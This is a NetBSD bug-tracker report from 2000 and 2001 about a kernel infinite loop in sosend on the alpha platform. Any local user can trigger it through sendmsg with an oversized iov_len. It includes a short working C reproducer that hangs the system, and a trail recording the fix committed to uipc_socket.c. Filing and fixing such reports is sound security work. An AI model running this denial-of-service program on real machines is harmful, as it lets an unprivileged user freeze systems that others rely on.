NetBSD Problem Report #10070

Received: (qmail 20051 invoked from network); 8 May 2000 12:28:59 -0000
Message-Id: <200005081228.FAA10884@nbwww.isc.org>
Date: Mon, 8 May 2000 05:28:59 -0700 (PDT)
From: weiss@uni-mainz.de
Reply-To: weiss@uni-mainz.de
To: gnats-bugs@gnats.netbsd.org
Subject: sendmsg syscall may hang system on alpha
X-Send-Pr-Version: www-1.0

>Number:         10070
>Category:       kern
>Synopsis:       sendmsg syscall may hang system on alpha
>Confidential:   no
>Severity:       critical
>Priority:       medium
>Responsible:    jdolecek
>State:          closed
>Class:          sw-bug
>Submitter-Id:   net
>Arrival-Date:   Mon May 08 12:29:00 +0000 2000
>Closed-Date:    Fri Oct 12 17:50:16 +0000 2001
>Last-Modified:  Fri Oct 12 17:50:16 +0000 2001
>Originator:     Juergen Weiss
>Release:        1.4.2
>Organization:
Universitaet Mainz
>Environment:
NetBSD netadmin.zdv.Uni-Mainz.DE 1.4.1 NetBSD 1.4.1 (LOCAL) #0: Mon Aug 16 18:27:14 MEST 1999     root@netadmin.zdv.Uni-Mainz.DE:/usr/src/sys/arch/alpha/compile/LOCAL alpha


>Description:
Certain args to the sendmsg system call lead to an infinite
loop in the sosend kernel subroutine. Result is, that the system 
hangs - that is the process does not give up control, so no
process switching occurs. Any user can trigger this, no special
privs required.
>How-To-Repeat:
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/uio.h>



main()
{

     int sd;
     struct sockaddr_in addr;
     struct msghdr msg;
     struct iovec msg_iov;
     char buf[1000];

     bzero(&msg_iov, sizeof(msg_iov));
     msg_iov.iov_base = buf;
     msg_iov.iov_len = 4294967368;

     bzero(&msg, sizeof(msg));
     msg.msg_iov = &msg_iov;
     msg.msg_iovlen = 1;

     addr.sin_family = AF_INET;
     addr.sin_port = htons(21);
     addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
     sd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
     if (sd < 0)
         perror("socket err");
     if (connect(sd, &addr, sizeof(addr)) < 0)
         perror("connect");
     sendmsg(sd, &msg, 0);

}

>Fix:

>Release-Note:
>Audit-Trail:
Responsible-Changed-From-To: kern-bug-people->jdolecek 
Responsible-Changed-By: jdolecek 
Responsible-Changed-When: Mon Sep 17 13:06:42 PDT 2001 
Responsible-Changed-Why:  
I'd look at this. 
State-Changed-From-To: open->feedback 
State-Changed-By: jdolecek 
State-Changed-When: Sat Sep 29 07:17:11 PDT 2001 
State-Changed-Why:  
Fix was committed to sys/kern/uipc_socket.c as rev. 1.58. Can you 
try -current kernel with this fix and confirm the problem was fixed 
for you? 
State-Changed-From-To: feedback->closed 
State-Changed-By: jdolecek 
State-Changed-When: Fri Oct 12 10:49:49 PDT 2001 
State-Changed-Why:  
Fixed in rev. 1.58 of syssrc/sys/kern/uipc_socket.c 
Thanks for report. 
>Unformatted:

NetBSD Home
NetBSD PR Database Search

(Contact us) $NetBSD: query-full-pr,v 1.51 2026/08/10 02:28:17 riastradh Exp $
$NetBSD: gnats_config.sh,v 1.10 2026/05/13 22:00:09 riastradh Exp $
Copyright © 1994-2026 The NetBSD Foundation, Inc. ALL RIGHTS RESERVED.